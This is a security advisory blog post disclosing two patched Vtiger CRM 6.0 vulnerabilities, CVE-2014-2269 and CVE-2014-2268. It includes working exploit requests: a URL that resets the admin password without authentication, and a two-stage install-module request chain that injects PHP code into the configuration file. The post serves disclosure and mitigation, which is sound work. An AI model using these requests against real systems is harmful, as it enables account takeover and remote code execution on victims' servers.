Navixia finds critical vulnerabilities in Vtiger CRM

Robin François
Cybersecurity Blog

The following article describes the details of two critical vulnerabilities found in Vtiger CRM by the Navixia Research Team.

These vulnerabilites have been reported to the Vtiger Security team and have now been fixed and can be found in patch 2 issued on March 16, 2014 (see also changeset 14043). A CVE has been attached with the following references:

  • Unauthenticated Password Reset CVE-2014-2269
  • Unauthenticated Remote Code Execution CVE-2014-2268

Vtiger is a well-known web-based Customer Relationship Managemement system (CRM) with a worldwide customer base. This article presents two critical vulnerabilities found in this web application. Validation has been done on the latest stable version (6.0) dated January 10, 2014.


Product: Vtiger CRM

Vendor: Vtiger Systems (India) Private Limited

Vulnerable Version: 6.0.0 (including Security Patch1), 6.0 RC, 6.0 Beta

Tested Version: 6.0.0

Vendor Notification: March 04 2014

Public Disclosure: April 10 2014


  • CVE-2014-2269: Unauthenticated Password Reset
  • CVE-2014-2268: Unauthenticated Remote Code Execution

Discovered and Provided By: Navixia SA Research Team

Mitigation: Apply Security Patch 2 for Vtiger 6.0 (issued on March 16, 2014)

CVE-2014-2269 Unauthenticated Password Reset

The normal way for users to change their password is by requesting forgotPassword.php with the GET parameters username and email.This page verifies the data and if they are correct, an email is sent to the user. This email contains a unique link to a reset password page.

forgotPassword.php snippet

$options = array(
  'handler_path' => 'modules/Users/ForgotPassword.php',
  'handler_class' => 'Users_ForgotPassword_Handler',
  'handler_function' => 'changePassword',
  'handler_data' => array(
$trackURL = Vtiger_ShortURL_Helper::generateURL($options);
$contents = 'Hi '.$username.', <br>
           This email was sent to you as you submitted the request to change password for Vtiger CRM.<br>
           Please follow this link to reset your password. <br><br>'.$trackURL;
$mail = new PHPMailer();
setMailerProperties($mail,'Request : ForgotPassword - vtigercrm',
$status = MailSend($mail);

On the reset password page, when the user completes the form and sends it, the request looks like this:

GET modules/Users/ForgotPassword.php ?username=user&password=newpassword&confirmPassword=newpassword


class Users_ForgotPassword_Action {
    public function changePassword($request){
        $request = new Vtiger_Request($request);
        $viewer = Vtiger_Viewer::getInstance();
        $username = $request->get('username');
        $newPassword = $request->get('password');
        $confirmPassword = $request->get('confirmPassword');
        $userId = getUserId_Ol($username);
        $user = new Users();
        $user->retrieve_entity_info($userId, 'Users');
        $wsUserId = vtws_getWebserviceEntityId('Users', $userId);
        vtws_changePassword($wsUserId, '', $newPassword, $confirmPassword, $user);
        $viewer->assign('USERNAME', $username);
        $viewer->assign('PASSWORD', $newPassword);
        $viewer->view('FPLogin.tpl', 'Users');
    public static function run($request){
        $instance = new self();

No access control or restriction is enforced when the "changePassword" function is called. Any unauthenticated user can forge a request using the following format, resetting the "admin" password to "navixia".

Furthermore, the Administrator account name cannot be changed and is fixed to "admin".


http:// site/modules/Users/actions/ForgotPassword.php?username=admin&password=navixia&confirmPassword=navixia

CVE-2014-2268 Unauthenticated Remote Code execution

Vtiger works with modules which have multiple actions/views. Those modules inherit Vtiger_Action_Controller and Vtiger_View_Controller classes. The method process is used to call these actions, however they also inherit preProcess and postProcess classes.


 66         protected function triggerPreProcess($handler, $request) {
 67                 if($request->isAjax()){
 68                         return true;
 69                 }
 70                 $handler->preProcess($request);
 71         }
 73         protected function triggerPostProcess($handler, $request) {
 74                 if($request->isAjax()){
 75                         return true;
 76                 }
 77                 $handler->postProcess($request);
 78         }
183                                 $this->triggerPreProcess($handler, $request);
184                                 $response = $handler->process($request);
185                                 $this->triggerPostProcess($handler, $request);

The preProcess and postProcess methods are called only if the request is not an AJAX request. This verification takes place using the well-known X-REQUESTED-WITH HTTP header. Vtiger uses the presence of this header to identify the kind of request.


180         function isAjax() {
181                 if(!empty($_SERVER['HTTP_X_PJAX']) && $_SERVER['HTTP_X_PJAX'] == true) {
182                         return true;
183                 } elseif(!empty($_SERVER['HTTP_X_REQUESTED_WITH'])) {
184                         return true;
185                 }
186                 return false;
187         }

We found an interesting module called Install. This module has a view called Index. The verification takes place in the preProcess method.

We can easily trigger a re-installation of the application with a request containing X-Requested-With HTTP header.


29         public function preProcess(Vtiger_Request $request) {
30                 date_default_timezone_set('Europe/London');
31                 // Added to redirect to default module if already installed
32                 $configFileName = '';
33                 if(is_file($configFileName) && filesize($configFileName) > 0) {
34                         $defaultModule = vglobal('default_module');
35                         $defaultModuleInstance = Vtiger_Module_Model::getInstance($defaultModule);
36                         $defaultView = $defaultModuleInstance->getDefaultViewName();
37                         header('Location:index.php?module='.$defaultModule.'&view='.$defaultView);
38                         exit;
39                 }

Let's focus on step 7 of the installation:


164         public function Step7(Vtiger_Request $request) {
165                 // Set favourable error reporting
166                 error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED);
168                 $moduleName = $request->getModule();
169                 if($_SESSION['config_file_info']['authentication_key'] != $request->get('auth_key')) {
170                         die(vtranslate('ERR_NOT_AUTHORIZED_TO_PERFORM_THE_OPERATION', $moduleName));
171                 }
173                 // Create configuration file
174                 $configParams = $_SESSION['config_file_info'];
175                 $configFile = new Install_ConfigFileUtils_Model($configParams);
176                 $configFile->createConfigFile();

Parameters used to create the configuration file are stored in a session variable called config_file_info. A verification is made on auth_key, this variable is defined in step 5 of the installation.

We can easily retrieve this variable looking at the source code of the page.

With this information, we can create a configuration file with our own PHP code inside.


  • Stage1 http:// site/index.php?module=Install&view=Index&mode=Step5&db_name=whatever%27;%20phpinfo(); retrieves the auth_key in the source code of the page
  • Stage2 http:// site/index.php?module=Install&view=Index&mode=Step7&auth_key=[retrieved_key]

A Metasploit vtiger_install_rce module has been developed and merged into the framework (


No comments made yet. Be the first to submit a comment

Leave your comment